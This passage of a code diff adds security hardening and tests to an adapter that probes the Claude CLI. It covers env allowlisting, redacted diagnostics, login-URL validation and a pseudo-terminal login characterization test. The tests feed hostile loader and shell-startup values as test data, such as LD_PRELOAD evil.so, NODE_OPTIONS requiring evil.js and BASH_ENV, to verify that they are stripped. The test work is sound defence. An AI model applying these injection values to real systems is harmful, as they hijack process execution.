+ * Paperclip host. The label is a constant, so a local target check never
+ * carries an environment ID, a config value, or a credential-derived string.
+ */
+export const ADAPTER_TEST_HOST_TARGET_LABEL = "Paperclip host";
+
+// The login hint may show a login URL. The URL must be a normalized https URL
+// with an allowlisted Claude or Anthropic host and no query or fragment. A host
+// matches when it equals a suffix or ends with a dot and the suffix.
+const ALLOWED_LOGIN_URL_HOST_SUFFIXES = ["anthropic.com", "claude.ai"] as const;
+
+// A JavaScript error class name is a bounded identifier. The bound stops a very
+// large or crafted class name from filling the log.
+const MAX_ERROR_CLASS_NAME_CHARS = 64;
+
+/**
+ * The allowlisted classification for a sandbox probe diagnostic. The call site
+ * picks one fixed label from this set. The label never holds a copy of
+ * untrusted probe text.
+ *
+ *   - `timeout`: the probe process did not finish before the deadline.
+ *   - `auth_required`: the probe ran and reported that login is required.
+ *   - `nonzero_exit`: the probe process exited with a non-zero exit code.
+ *   - `spawn_error`: the probe process, or a setup step, threw before it ran.
+ *   - `empty_output`: the probe produced no output.
+ *   - `unexpected_output`: the probe ran and exited zero, but the output did
+ *     not match the expected reply.
+ */
+export type SandboxProbeDiagnosticClassification =
+  | "timeout"
+  | "auth_required"
+  | "nonzero_exit"
+  | "spawn_error"
+  | "empty_output"
+  | "unexpected_output";
+
+/**
+ * The safe structured fields a call site may add to a probe diagnostic. Each
+ * field is a fixed shape, not free text. The helper drops any value that is not
+ * safe.
+ */
+export interface SandboxProbeDiagnosticFields {
+  // The process exit code. The helper logs it only when it is a finite number.
+  exitCode?: number | null;
+  // The class name of a thrown value. Use `classifyThrownErrorClass` to derive
+  // it. The helper sanitizes it again before it logs it.
+  errorClass?: string | null;
+}
+
+/**
+ * Read the class name of a thrown value for a safe probe diagnostic. The
+ * function returns the constructor name of an `Error`, or `null` for any other
+ * value. The name is a bounded identifier, not a copy of the error message, so
+ * it carries no untrusted probe text.
+ */
+export function classifyThrownErrorClass(err: unknown): string | null {
+  if (err instanceof Error) return err.constructor?.name ?? "Error";
+  return null;
+}
+
+// Keep only identifier characters and bound the length. The result cannot carry
+// untrusted probe text.
+function sanitizeErrorClassName(name: string | null | undefined): string | null {
+  if (typeof name !== "string") return null;
+  const safe = name.replace(/[^A-Za-z0-9_$]/g, "").slice(0, MAX_ERROR_CLASS_NAME_CHARS);
+  return safe.length > 0 ? safe : null;
+}
+
+/**
+ * Send a sandbox probe or config materialization diagnostic to the server log.
+ *
+ * Three Test-lane call sites use this helper:
+ *   - the Claude CLI Test lane (`test.ts`),
+ *   - the Claude ACP Test lane (`acp.ts`),
+ *   - the managed-config materialization step (`claude-config.ts`).
+ *
+ * Contract: no untrusted text reaches the log. The helper logs only the fixed
+ * context string, one allowlisted classification, and safe structured fields.
+ * The safe fields are the process exit code and a sanitized error class name.
+ * The helper never logs raw probe stdout, raw stderr, or a raw thrown-error
+ * message. A call site must never copy raw probe text into a Test-result check,
+ * because the user interface renders check text.
+ *
+ * @param context A short fixed description of the failed step. It carries no
+ *   untrusted text.
+ * @param classification One allowlisted label that the call site derives from
+ *   the probe state. It carries no untrusted text.
+ * @param fields Optional safe structured fields, such as the exit code.
+ */
+export function logSandboxProbeDiagnostic(
+  context: string,
+  classification: SandboxProbeDiagnosticClassification,
+  fields?: SandboxProbeDiagnosticFields,
+): void {
+  const detail: {
+    classification: SandboxProbeDiagnosticClassification;
+    exitCode?: number;
+    errorClass?: string;
+  } = { classification };
+  if (typeof fields?.exitCode === "number" && Number.isFinite(fields.exitCode)) {
+    detail.exitCode = fields.exitCode;
+  }
+  const errorClass = sanitizeErrorClassName(fields?.errorClass);
+  if (errorClass) detail.errorClass = errorClass;
+  console.warn(`[paperclip] ${context}`, detail);
+}
+
+/**
+ * Normalize an untrusted login URL for a Test-result hint.
+ *
+ * The extractor reads the URL from raw sandbox stdout or stderr, so the value is
+ * untrusted. The function accepts the URL only when every rule holds:
+ *   - the protocol is `https`,
+ *   - the host equals or ends with an allowlisted Claude or Anthropic host,
+ *   - the URL has no user, password, or port,
+ *   - the URL has no query and no fragment.
+ *
+ * The function returns the normalized URL string, or `null` when any rule
+ * fails. The caller shows a fixed `claude login` hint when the function returns
+ * `null`.
+ */
+export function normalizeClaudeLoginUrl(raw: string | null | undefined): string | null {
+  if (!raw) return null;
+  let url: URL;
+  try {
+    url = new URL(raw);
+  } catch {
+    return null;
+  }
+  if (url.protocol !== "https:") return null;
+  if (url.username || url.password || url.port) return null;
+  if (url.search || url.hash) return null;
+  const host = url.hostname.toLowerCase();
+  const allowed = ALLOWED_LOGIN_URL_HOST_SUFFIXES.some(
+    (suffix) => host === suffix || host.endsWith(`.${suffix}`),
+  );
+  if (!allowed) return null;
+  return url.toString();
+}
+
+/**
+ * Build the fixed auth-required hint for a Test-result check. When the login URL
+ * normalizes to a safe value, the hint names it. Otherwise the hint tells the
+ * operator to run `claude login`.
+ */
+export function buildClaudeLoginRequiredHint(loginUrl: string | null | undefined): string {
+  const safeUrl = normalizeClaudeLoginUrl(loginUrl);
+  return safeUrl
+    ? `Run \`claude login\` and complete sign-in at ${safeUrl}, then retry.`
+    : "Run `claude login` in this environment, then retry the probe.";
+}
+
+/**
+ * Resolve the label a Test result shows for the probed target. A remote target
+ * uses the authorized environment name. A remote target with no name uses a
+ * fixed generic label. A local target uses the fixed host label. The function
+ * never returns an environment ID, a config value, or a credential-derived
+ * string.
+ */
+export function resolveAdapterTestTargetLabel(input: {
+  targetIsRemote: boolean;
+  environmentName: string | null | undefined;
+}): string {
+  if (!input.targetIsRemote) return ADAPTER_TEST_HOST_TARGET_LABEL;
+  const name = typeof input.environmentName === "string" ? input.environmentName.trim() : "";
+  return name.length > 0 ? name : "the selected environment";
+}
+
+/**
+ * Build the target check every Test result carries, so the result names the
+ * target it probed. Both the Claude CLI Test lane and the Claude ACP Test lane
+ * use this builder. The check text carries only the authorized environment
+ * label or the fixed host label.
+ */
+export function buildAdapterTestTargetCheck(input: {
+  targetIsRemote: boolean;
+  environmentName: string | null | undefined;
+}): AdapterEnvironmentCheck {
+  const label = resolveAdapterTestTargetLabel(input);
+  return {
+    code: "claude_environment_target",
+    level: "info",
+    message: input.targetIsRemote
+      ? `Probing inside environment: ${label}`
+      : "Probing on the Paperclip host.",
+  };
+}
diff --git a/packages/adapters/claude-local/src/server/probe-env.test.ts b/packages/adapters/claude-local/src/server/probe-env.test.ts
new file mode 100644
index 00000000000..3b26dafaaca
--- /dev/null
+++ b/packages/adapters/claude-local/src/server/probe-env.test.ts
@@ -0,0 +1,142 @@
+import { afterEach, describe, expect, it } from "vitest";
+import { chmod, mkdtemp, rm, writeFile } from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
+import { buildLocalAdapterTestProbeEnv } from "./probe-env.js";
+
+const tempDirs: string[] = [];
+
+async function makeTrustedPathWithClaude(): Promise<{ dir: string; claudePath: string }> {
+  const dir = await mkdtemp(path.join(os.tmpdir(), "paperclip-probe-env-"));
+  tempDirs.push(dir);
+  const claudePath = path.join(dir, "claude");
+  await writeFile(claudePath, "#!/bin/sh\nexit 0\n");
+  await chmod(claudePath, 0o755);
+  return { dir, claudePath };
+}
+
+afterEach(async () => {
+  while (tempDirs.length > 0) {
+    const dir = tempDirs.pop();
+    if (dir) await rm(dir, { recursive: true, force: true }).catch(() => undefined);
+  }
+});
+
+describe("buildLocalAdapterTestProbeEnv", () => {
+  it("resolves claude from the trusted PATH and ignores the caller PATH", async () => {
+    const { dir, claudePath } = await makeTrustedPathWithClaude();
+    const built = await buildLocalAdapterTestProbeEnv({
+      callerEnv: { PATH: "/hostile/bin", Path: "/hostile/bin", command: "/tmp/evil/claude" },
+      trustedEnv: { PATH: dir },
+    });
+    expect(built.command).toBe(claudePath);
+    expect(built.env.PATH).toBeUndefined();
+    expect(built.env.Path).toBeUndefined();
+  });
+
+  it("returns a null command when the trusted PATH holds no claude", async () => {
+    const dir = await mkdtemp(path.join(os.tmpdir(), "paperclip-probe-env-empty-"));
+    tempDirs.push(dir);
+    const built = await buildLocalAdapterTestProbeEnv({
+      callerEnv: {},
+      trustedEnv: { PATH: dir },
+    });
+    expect(built.command).toBeNull();
+  });
+
+  it("keeps the allowlisted Claude, auth, and Bedrock values", async () => {
+    const { dir } = await makeTrustedPathWithClaude();
+    const built = await buildLocalAdapterTestProbeEnv({
+      callerEnv: {
+        ANTHROPIC_API_KEY: "api-key-value",
+        CLAUDE_CODE_OAUTH_TOKEN: "oauth-token-value",
+        CLAUDE_CODE_USE_BEDROCK: "1",
+        ANTHROPIC_BEDROCK_BASE_URL: "https://bedrock.example",
+        AWS_ACCESS_KEY_ID: "aws-key",
+        AWS_SECRET_ACCESS_KEY: "aws-secret",
+        AWS_REGION: "us-east-1",
+        CLAUDE_CONFIG_DIR: "/managed/config",
+      },
+      trustedEnv: { PATH: dir },
+    });
+    expect(built.env.ANTHROPIC_API_KEY).toBe("api-key-value");
+    expect(built.env.CLAUDE_CODE_OAUTH_TOKEN).toBe("oauth-token-value");
+    expect(built.env.CLAUDE_CODE_USE_BEDROCK).toBe("1");
+    expect(built.env.ANTHROPIC_BEDROCK_BASE_URL).toBe("https://bedrock.example");
+    expect(built.env.AWS_ACCESS_KEY_ID).toBe("aws-key");
+    expect(built.env.AWS_SECRET_ACCESS_KEY).toBe("aws-secret");
+    expect(built.env.AWS_REGION).toBe("us-east-1");
+    expect(built.env.CLAUDE_CONFIG_DIR).toBe("/managed/config");
+  });
+
+  it("drops hostile loader, PATH, shell-startup, and Windows interpreter keys", async () => {
+    const { dir } = await makeTrustedPathWithClaude();
+    const built = await buildLocalAdapterTestProbeEnv({
+      callerEnv: {
+        PATH: "/hostile/bin",
+        Path: "/hostile/bin",
+        PATHEXT: ".EVIL",
+        LD_PRELOAD: "/hostile/lib/evil.so",
+        LD_LIBRARY_PATH: "/hostile/lib",
+        DYLD_INSERT_LIBRARIES: "/hostile/lib/evil.dylib",
+        DYLD_LIBRARY_PATH: "/hostile/lib",
+        NODE_OPTIONS: "--require /hostile/evil.js",
+        ENV: "/hostile/profile",
+        BASH_ENV: "/hostile/bashrc",
+        SystemRoot: "C:\\hostile",
+        systemroot: "C:\\hostile",
+        WINDIR: "C:\\hostile",
+        windir: "C:\\hostile",
+        ComSpec: "C:\\hostile\\evil.exe",
+        comspec: "C:\\hostile\\evil.exe",
+      },
+      trustedEnv: { PATH: dir },
+    });
+    for (const key of Object.keys(built.env)) {
+      expect(key.toUpperCase()).not.toBe("PATH");
+      expect(key.toUpperCase()).not.toBe("PATHEXT");
+      expect(key.toUpperCase()).not.toBe("LD_PRELOAD");
+      expect(key.toUpperCase()).not.toBe("LD_LIBRARY_PATH");
+      expect(key.toUpperCase()).not.toBe("DYLD_INSERT_LIBRARIES");
+      expect(key.toUpperCase()).not.toBe("DYLD_LIBRARY_PATH");
+      expect(key.toUpperCase()).not.toBe("NODE_OPTIONS");
+      expect(key.toUpperCase()).not.toBe("ENV");
+      expect(key.toUpperCase()).not.toBe("BASH_ENV");
+      expect(key.toUpperCase()).not.toBe("SYSTEMROOT");
+      expect(key.toUpperCase()).not.toBe("WINDIR");
+      expect(key.toUpperCase()).not.toBe("COMSPEC");
+    }
+  });
+
+  it("takes proxy values only from the trusted env, never from the caller", async () => {
+    const { dir } = await makeTrustedPathWithClaude();
+    const built = await buildLocalAdapterTestProbeEnv({
+      callerEnv: {
+        HTTP_PROXY: "http://caller-proxy:8080",
+        HTTPS_PROXY: "http://caller-proxy:8443",
+        http_proxy: "http://caller-proxy-lower:8080",
+        NO_PROXY: "caller.example",
+      },
+      trustedEnv: { PATH: dir, HTTPS_PROXY: "http://trusted-proxy:8443" },
+    });
+    // The trusted proxy reaches the child; the caller proxy does not.
+    expect(built.env.HTTPS_PROXY).toBe("http://trusted-proxy:8443");
+    expect(built.env.HTTP_PROXY).toBeUndefined();
+    expect(built.env.http_proxy).toBeUndefined();
+    expect(built.env.NO_PROXY).toBeUndefined();
+    // No env value carries the caller proxy host.
+    const serialized = JSON.stringify(built.env);
+    expect(serialized).not.toContain("caller-proxy");
+  });
+
+  it("forwards no proxy variable when the trusted env has none", async () => {
+    const { dir } = await makeTrustedPathWithClaude();
+    const built = await buildLocalAdapterTestProbeEnv({
+      callerEnv: { HTTP_PROXY: "http://caller-proxy:8080", https_proxy: "http://caller:8443" },
+      trustedEnv: { PATH: dir },
+    });
+    for (const key of Object.keys(built.env)) {
+      expect(key.toUpperCase()).not.toContain("PROXY");
+    }
+  });
+});
diff --git a/packages/adapters/claude-local/src/server/probe-env.ts b/packages/adapters/claude-local/src/server/probe-env.ts
new file mode 100644
index 00000000000..ee6e81f67f4
--- /dev/null
+++ b/packages/adapters/claude-local/src/server/probe-env.ts
@@ -0,0 +1,187 @@
+import { access } from "node:fs/promises";
+import { constants as fsConstants } from "node:fs";
+import path from "node:path";
+
+/**
+ * The environment variable names that a local Claude adapter-test probe may
+ * take from the untrusted adapter configuration. The builder denies every
+ * other key by default. The list holds the documented Claude, Anthropic auth,
+ * and AWS Bedrock variables that the probe needs to reach the real credential
+ * the agent run uses.
+ */
+const LOCAL_PROBE_ALLOWED_CALLER_ENV_KEYS = [
+  // Claude and Anthropic subscription and API auth.
+  "ANTHROPIC_API_KEY",
+  "ANTHROPIC_AUTH_TOKEN",
+  "CLAUDE_CODE_OAUTH_TOKEN",
+  "ANTHROPIC_BASE_URL",
+  "ANTHROPIC_MODEL",
+  "ANTHROPIC_SMALL_FAST_MODEL",
+  "CLAUDE_CONFIG_DIR",
+  // AWS Bedrock inference.
+  "CLAUDE_CODE_USE_BEDROCK",
+  "ANTHROPIC_BEDROCK_BASE_URL",
+  "AWS_BEARER_TOKEN_BEDROCK",
+  "AWS_ACCESS_KEY_ID",
+  "AWS_SECRET_ACCESS_KEY",
+  "AWS_SESSION_TOKEN",
+  "AWS_PROFILE",
+  "AWS_REGION",
+  "AWS_DEFAULT_REGION",
+] as const;
+
+/**
+ * The proxy variable names the probe may forward. The builder reads these only
+ * from the trusted server-resolved input. It never reads a proxy key from the
+ * untrusted caller input, and it never logs, returns, or reflects a proxy
+ * value.
+ */
+const PROXY_ENV_KEYS = ["HTTP_PROXY", "HTTPS_PROXY", "NO_PROXY"] as const;
+
+/**
+ * Windows interpreter-selection variables. The builder never takes these from
+ * any input. The child-process launcher derives the interpreter from trusted
+ * server state instead, so a caller value must never reach the child env.
+ */
+const WINDOWS_INTERPRETER_ENV_KEYS = new Set(["SYSTEMROOT", "WINDIR", "COMSPEC"]);
+
+export interface LocalProbeEnvironment {
+  /**
+   * The trusted absolute path to the resolved `claude` executable, or `null`
+   * when the trusted server PATH holds no `claude`. The caller must not run a
+   * local probe when this is `null`; it reports a probe-unavailable check
+   * instead.
+   */
+  command: string | null;
+  /**
+   * The child environment for the local probe. It holds only allowlisted
+   * caller values plus proxy values from the trusted input. It never holds a
+   * caller-supplied proxy key, a loader variable, a PATH override, or a Windows
+   * interpreter variable.
+   */
+  env: Record<string, string>;
+}
+
+function isNonEmptyString(value: unknown): value is string {
+  return typeof value === "string" && value.trim().length > 0;
+}
+
+function readCaseInsensitive(
+  source: Record<string, string | undefined>,
+  key: string,
+): string | undefined {
+  const direct = source[key];
+  if (typeof direct === "string") return direct;
+  const upper = key.toUpperCase();
+  for (const [candidateKey, candidateValue] of Object.entries(source)) {
+    if (candidateKey.toUpperCase() === upper && typeof candidateValue === "string") {
+      return candidateValue;
+    }
+  }
+  return undefined;
+}
+
+/**
+ * Resolve a command name to a trusted absolute executable. The function reads
+ * the PATH and PATHEXT from the trusted server env only. It never reads a
+ * caller value, so a hostile caller PATH cannot select the executable. The
+ * function ignores a command that contains a path separator; a local probe
+ * must not run a caller-supplied executable path.
+ */
+async function resolveTrustedExecutable(
+  commandName: string,
+  trustedEnv: NodeJS.ProcessEnv,
+): Promise<string | null> {
+  if (commandName.includes("/") || commandName.includes("\\")) {
+    return null;
+  }
+  const pathValue = trustedEnv.PATH ?? trustedEnv.Path ?? "";
+  const delimiter = process.platform === "win32" ? ";" : ":";
+  const dirs = pathValue.split(delimiter).filter(Boolean);
+  const exts =
+    process.platform === "win32"
+      ? (trustedEnv.PATHEXT ?? ".EXE;.CMD;.BAT;.COM").split(";").filter(Boolean)
+      : [""];
+  const mode = process.platform === "win32" ? fsConstants.F_OK : fsConstants.X_OK;
+  for (const dir of dirs) {
+    const candidates =
+      process.platform === "win32"
+        ? exts.map((ext) => path.join(dir, `${commandName}${ext}`))
+        : [path.join(dir, commandName)];
+    for (const candidate of candidates) {
+      try {
+        await access(candidate, mode);
+        return candidate;
+      } catch {
+        // Try the next candidate.
+      }
+    }
+  }
+  return null;
+}
+
+/**
+ * Build the child environment and executable for a local Claude adapter-test
+ * hello probe. Both the ACP Test lane and the Claude CLI Test lane use this
+ * builder, so the two lanes probe the host the same safe way.
+ *
+ * The builder denies by default. It never merges the arbitrary caller env into
+ * a host base. It reads two separate inputs:
+ *   - `callerEnv`: the untrusted adapter-config env from the Test request. The
+ *     builder takes only allowlisted Claude, auth, and Bedrock keys from it. It
+ *     discards every proxy key and every Windows interpreter key, in any case.
+ *   - `trustedEnv`: the trusted server-resolved env (the server launch config
+ *     and the authorized environment's server-resolved env). The builder takes
+ *     proxy keys only from this input.
+ *
+ * The builder resolves `claude` to a trusted absolute executable with the
+ * trusted server PATH, before it reads any caller value. It ignores a caller
+ * `command` path.
+ *
+ * The builder never logs, returns, or reflects a proxy value in a check.
+ */
+export async function buildLocalAdapterTestProbeEnv(input: {
+  callerEnv: Record<string, string>;
+  trustedEnv?: NodeJS.ProcessEnv;
+  commandName?: string;
+}): Promise<LocalProbeEnvironment> {
+  const trustedEnv = input.trustedEnv ?? process.env;
+  const commandName = input.commandName ?? "claude";
+  const command = await resolveTrustedExecutable(commandName, trustedEnv);
+
+  const env: Record<string, string> = {};
+
+  // Allowlisted caller values. Read each allowed key by name so no unexpected
+  // caller key can enter the child env. Proxy and Windows interpreter keys are
+  // never in the allowlist, so a caller cannot pass them here.
+  for (const key of LOCAL_PROBE_ALLOWED_CALLER_ENV_KEYS) {
+    const value = readCaseInsensitive(input.callerEnv, key);
+    if (isNonEmptyString(value)) {
+      env[key] = value;
+    }
+  }
+
+  // Proxy values come from the trusted input only. A caller-supplied proxy key
+  // in `callerEnv` is never read, so it cannot reach the child.
+  for (const key of PROXY_ENV_KEYS) {
+    const upperValue = trustedEnv[key];
+    if (isNonEmptyString(upperValue)) {
+      env[key] = upperValue;
+    }
+    const lowerKey = key.toLowerCase();
+    const lowerValue = trustedEnv[lowerKey];
+    if (isNonEmptyString(lowerValue)) {
+      env[lowerKey] = lowerValue;
+    }
+  }
+
+  // Defense in depth: strip any Windows interpreter key that a future allowlist
+  // edit might introduce, in any case.
+  for (const key of Object.keys(env)) {
+    if (WINDOWS_INTERPRETER_ENV_KEYS.has(key.toUpperCase())) {
+      delete env[key];
+    }
+  }
+
+  return { command, env };
+}
diff --git a/packages/adapters/claude-local/src/server/probe-redaction.test.ts b/packages/adapters/claude-local/src/server/probe-redaction.test.ts
new file mode 100644
index 00000000000..818f154a9bf
--- /dev/null
+++ b/packages/adapters/claude-local/src/server/probe-redaction.test.ts
@@ -0,0 +1,101 @@
+import { afterEach, describe, expect, it, vi } from "vitest";
+import type { AdapterExecutionTarget } from "@paperclipai/adapter-utils/execution-target";
+
+// The managed-config step runs inside `prepareSandboxClaudeProbeRuntime`. The
+// step resolves the Paperclip instance root first. This mock makes that resolve
+// throw, so the managed-config materialization fails with a controllable error
+// that carries a secret marker.
+const { resolveInstanceRoot } = vi.hoisted(() => {
+  const resolveInstanceRoot: { throwError: Error | null } = { throwError: null };
+  return { resolveInstanceRoot };
+});
+
+vi.mock("@paperclipai/adapter-utils/execution-target", async () => {
+  const actual = await vi.importActual<typeof import("@paperclipai/adapter-utils/execution-target")>(
+    "@paperclipai/adapter-utils/execution-target",
+  );
+  return {
+    ...actual,
+    maybeRunSandboxInstallCommand: vi.fn(async () => null),
+  };
+});
+
+vi.mock("@paperclipai/adapter-utils/server-utils", async () => {
+  const actual = await vi.importActual<typeof import("@paperclipai/adapter-utils/server-utils")>(
+    "@paperclipai/adapter-utils/server-utils",
+  );
+  return {
+    ...actual,
+    resolvePaperclipInstanceRootForAdapter: (...args: unknown[]) => {
+      if (resolveInstanceRoot.throwError) throw resolveInstanceRoot.throwError;
+      return (
+        actual.resolvePaperclipInstanceRootForAdapter as (...a: unknown[]) => string
+      )(...args);
+    },
+  };
+});
+
+import { prepareSandboxClaudeProbeRuntime } from "./claude-config.js";
+
+const sandboxTarget: AdapterExecutionTarget = {
+  kind: "remote",
+  transport: "sandbox",
+  providerKey: "daytona",
+  remoteCwd: "/home/daytona/paperclip-workspace",
+  runner: {
+    execute: async () => ({
+      exitCode: 0,
+      signal: null,
+      timedOut: false,
+      stdout: "",
+      stderr: "",
+      pid: null,
+      startedAt: new Date().toISOString(),
+    }),
+  },
+};
+
+afterEach(() => {
+  vi.clearAllMocks();
+  resolveInstanceRoot.throwError = null;
+});
+
+describe("prepareSandboxClaudeProbeRuntime managed-config redaction", () => {
+  it("never copies a materialization error into a Test-result check", async () => {
+    // A materialization failure can carry a credential. Inject a secret marker
+    // through the thrown error and assert no check text repeats it.
+    const secret = "sk-ant-MANAGEDMARKER0123456789abcdef";
+    resolveInstanceRoot.throwError = new Error(`materialize failed with ${secret}`);
+    const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
+
+    const checks = await prepareSandboxClaudeProbeRuntime({
+      runId: "test-run",
+      target: sandboxTarget,
+      cwd: "/home/daytona/paperclip-workspace",
+      env: {},
+      installCommand: "npm i -g @anthropic-ai/claude-code",
+      detectCommand: "claude --version",
+      targetIsRemote: true,
+      targetIsSandbox: true,
+      helloProbeTimeoutSec: 5,
+    });
+
+    const failedCheck = checks.find((check) => check.code === "claude_managed_config_dir_failed");
+    expect(failedCheck).toBeDefined();
+    expect(failedCheck?.level).toBe("error");
+
+    const checkText = JSON.stringify(checks);
+    expect(checkText).not.toContain(secret);
+    expect(checkText).not.toContain("MANAGEDMARKER");
+    // The diagnostic still reaches the server log, but it carries only the
+    // fixed context and the allowlisted classification, never the raw error
+    // text. The classification is `spawn_error`, because the materialization
+    // step threw before the probe ran.
+    expect(warnSpy).toHaveBeenCalledTimes(1);
+    const loggedText = JSON.stringify(warnSpy.mock.calls);
+    expect(loggedText).not.toContain(secret);
+    expect(loggedText).not.toContain("MANAGEDMARKER");
+    expect(warnSpy.mock.calls[0]?.[1]).toMatchObject({ classification: "spawn_error" });
+    warnSpy.mockRestore();
+  });
+});
diff --git a/packages/adapters/claude-local/src/server/setup-token-characterization.test.ts b/packages/adapters/claude-local/src/server/setup-token-characterization.test.ts
new file mode 100644
index 00000000000..ed1c15363fa
--- /dev/null
+++ b/packages/adapters/claude-local/src/server/setup-token-characterization.test.ts
@@ -0,0 +1,145 @@
+import { execFileSync, spawnSync } from "node:child_process";
+import { describe, expect, it } from "vitest";
+import {
+  parseSetupTokenPrompt,
+  SETUP_TOKEN_AUTH_URLS,
+  SETUP_TOKEN_PROMPT,
+  SETUP_TOKEN_URL_QUERY_KEYS,
+} from "./setup-token-parse.js";
+
+// The live characterization of `claude setup-token`. This suite runs the real
+// Claude Code login command in a real pseudo-terminal, captures the sign-in
+// prompt output, and confirms the parser reads the real terminal contract. It
+// records the tested Claude Code version. It fails loudly on a parse miss, so a
+// terminal-contract drift breaks the suite instead of passing silently.
+//
+// The suite is opt-in. It needs the real `claude` binary, `python3` for the
+// pseudo-terminal, and network access to claude.com to mint the authorization
+// URL, so it never runs in a normal or a continuous-integration test run. Set
+// `RUN_CLAUDE_SETUP_TOKEN_CHARACTERIZATION=1` to run it in a real sandbox.
+//
+// Security: the suite drives only the prompt phase. It never submits a browser
+// code, so the command never mints a token. It parses the captured bytes in
+// memory and asserts only the non-secret shape (the URL origin, the URL path,
+// the URL query keys, and the constant prompt). It never writes the captured
+// bytes, the real authorization URL, or any token to a durable file, a log, or
+// an assertion message.
+
+const OPT_IN = process.env.RUN_CLAUDE_SETUP_TOKEN_CHARACTERIZATION === "1";
+
+// A pseudo-terminal harness. It runs `claude setup-token` on a real
+// pseudo-terminal with a wide window, streams the raw terminal bytes to its own
+// standard output, and stops when it sees the prompt phrase or after a timeout.
+// It never submits a code, so the command never mints a token.
+const PTY_HARNESS = `
+import os, pty, sys, select, time, fcntl, termios, struct, signal
+duration = float(os.environ.get("STCHAR_DURATION", "40"))
+cols, rows = 200, 50
+pid, fd = pty.fork()
+if pid == 0:
+    os.execvp("claude", ["claude", "setup-token"])
+    os._exit(127)
+fcntl.ioctl(fd, termios.TIOCSWINSZ, struct.pack("HHHH", rows, cols, 0, 0))
+acc = b""
+start = time.time()
+try:
+    while time.time() - start < duration:
+        r, _, _ = select.select([fd], [], [], 0.5)
+        if fd in r:
+            try:
+                data = os.read(fd, 65536)
+            except OSError:
+                break
+            if not data:
+                break
+            acc += data
+            os.write(1, data)
+            if b"Paste code here if prompted" in acc:
+                break
+finally:
+    try:
+        os.kill(pid, signal.SIGKILL)
+    except ProcessLookupError:
+        pass
+    try:
+        os.waitpid(pid, 0)
+    except ChildProcessError:
+        pass
+`;
+
+function hasCommand(command: string): boolean {
+  const probe = spawnSync("sh", ["-c", `command -v ${command}`], { encoding: "utf8" });
+  return probe.status === 0;
+}
+
+function readClaudeVersion(): string {
+  const raw = execFileSync("claude", ["--version"], { encoding: "utf8" });
+  // The version line reads like `2.1.226 (Claude Code)`. Read the leading
+  // semantic version.
+  const match = raw.match(/(\d+\.\d+\.\d+)/);
+  if (!match) throw new Error("could not read the Claude Code version");
+  return match[1];
+}
+
+// Removes the terminal control sequences the same way the parser does, so the
+// test can assert on the rendered banner text. It keeps this local, so the test
+// never imports a parser internal.
+function renderForBanner(raw: string): string {
+  return raw
+    // OSC sequences (hyperlinks and other OSC), BEL or ST terminated.
+    .replace(/\x1b\][^\x1b\x07]*(?:\x1b\\|\x07)/g, "")
+    // Horizontal-move CSI sequences render as one space.
+    .replace(/\x1b\[[0-9;]*[GC]/g, " ")
+    // Any remaining CSI sequence.
+    .replace(/\x1b\[[0-?]*[ -/]*[@-~]/g, "");
+}
+
+const run = OPT_IN ? describe : describe.skip;
+
+run("claude setup-token live characterization", () => {
+  it(
+    "reads the real sign-in prompt contract and records the Claude Code version",
+    () => {
+      expect(hasCommand("claude"), "the claude binary must be installed").toBe(true);
+      expect(hasCommand("python3"), "python3 must be installed for the pseudo-terminal").toBe(true);
+
+      const version = readClaudeVersion();
+
+      const result = spawnSync("python3", ["-c", PTY_HARNESS], {
+        encoding: "buffer",
+        maxBuffer: 8 * 1024 * 1024,
+        env: { ...process.env, STCHAR_DURATION: "40" },
+      });
+      if (result.error) throw result.error;
+      const raw = (result.stdout ?? Buffer.alloc(0)).toString("utf8");
+
+      // Fail loudly on a parse miss. A terminal-contract drift breaks the suite
+      // here instead of passing silently.
+      const parsed = parseSetupTokenPrompt(raw);
+      expect(parsed, "the parser did not read the live setup-token prompt").not.toBeNull();
+
+      const url = new URL(parsed!.url);
+      // The live CLI emits one of the two accepted origin-and-path pairs. The
+      // installed version decides which pair the run records.
+      expect(SETUP_TOKEN_AUTH_URLS).toContain(`${url.origin}${url.pathname}`);
+      expect([...url.searchParams.keys()].sort()).toEqual([...SETUP_TOKEN_URL_QUERY_KEYS].sort());
+      expect(url.hash).toBe("");
+      expect(parsed!.prompt).toBe(SETUP_TOKEN_PROMPT);
+
+      // The banner names the tested Claude Code version. This ties the recorded
+      // contract to the version that produced it.
+      const banner = renderForBanner(raw);
+      expect(banner).toContain(`Claude Code v${version}`);
+
+      // Record the tested version and the non-secret anchors. The reporter shows
+      // this line; it names no secret.
+      // eslint-disable-next-line no-console
+      console.log(
+        `[characterization] Claude Code v${version}: prompt "${SETUP_TOKEN_PROMPT}", ` +
+          `URL ${url.origin}${url.pathname} with query keys ` +
+          `[${[...SETUP_TOKEN_URL_QUERY_KEYS].join(", ")}].`,
+      );
+    },
+    60_000,
+  );
+});
diff --git a/packages/adapters/claude-local/src/server/setup-token-parse.test.ts b/packages/adapters/claude-local/src/server/setup-token-parse.test.ts
index 85171dc4b2f..b703188062f 100644
--- a/packages/adapters/claude-local/src/server/setup-token-parse.test.ts
+++ b/packages/adapters/claude-local/src/server/setup-token-parse.test.ts
@@ -4,10 +4,11 @@ import { fileURLToPath } from "node:url";
 import { describe, expect, it } from "vitest";
 import {
   SETUP_TOKEN_AFTER_ANCHOR,
+  SETUP_TOKEN_AUTH_URLS,
   SETUP_TOKEN_BEFORE_ANCHOR,
   SETUP_TOKEN_PREFIX,
   SETUP_TOKEN_PROMPT,
-  SETUP_TOKEN_URL_PATH,
+  SETUP_TOKEN_REDIRECT_URI,
   SETUP_TOKEN_URL_QUERY_KEYS,
   parseSetupTokenCredential,
   parseSetupTokenPrompt,
@@ -19,18 +20,35 @@ function readFixture(name: string): string {
   return readFileSync(path.join(fixturesDir, name), "utf8");
 }
 
-// A well-formed authorization URL that carries the exact query keys of the
-// contract. The values are synthetic; the fixture redacts the real values.
-const VALID_URL =
-  "https://claude.com/cai/oauth/authorize" +
-  "?client_id=cid-000" +
-  "&code=redacted" +
-  "&code_challenge=chal-000" +
-  "&code_challenge_method=S256" +
-  "&redirect_uri=https%3A%2F%2Fclaude.com%2Fcallback" +
-  "&response_type=code" +
-  "&scope=user%3Ainference" +
-  "&state=state-000";
+// The synthetic query values. Each value passes the value validators of the
+// contract. No value is a real OAuth value.
+const CLIENT_ID = "9d1c8f00-1a2b-3c4d-5e6f-708192a3b4c5";
+const CODE = "ac_0aB1cD2eF3gH4iJ5kL6mN7oP8qR9sT";
